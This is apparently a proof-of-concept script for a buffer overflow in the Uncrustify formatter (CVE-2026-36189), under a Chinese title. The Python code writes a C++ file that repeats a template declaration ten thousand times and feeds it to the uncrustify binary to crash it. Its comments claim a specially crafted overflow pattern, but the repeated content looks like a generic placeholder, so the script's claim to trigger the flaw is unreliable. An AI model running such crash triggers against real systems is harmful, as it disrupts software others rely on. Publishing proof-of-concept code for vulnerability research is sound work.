CVE-2026-36189 Uncrustify缓冲区溢出漏洞

import os # Generate a malicious C++ file that triggers the buffer overflow # in the check_template function of Uncrustify. malicious_content = """ // Malicious input to trigger buffer overflow in check_template.cpp template <typename T> class Class {}; // Crafting specific pattern to overflow the buffer during cleanup """ * 10000 filename = "crash_test.cpp" with open(filename, "w") as f: f.write(malicious_content) print(f"[+] Created malicious file: {filename}") # Execute Uncrustify with the malicious file # Replace '/path/to/uncrustify' with the actual path to the vulnerable binary uncrustify_path = "uncrustify" if os.path.exists(uncrustify_path): os.system(f"{uncrustify_path} {filename}") print("[+] Triggered the crash.") else: print(f"[-] {uncrustify_path} not found. Please provide the correct path.")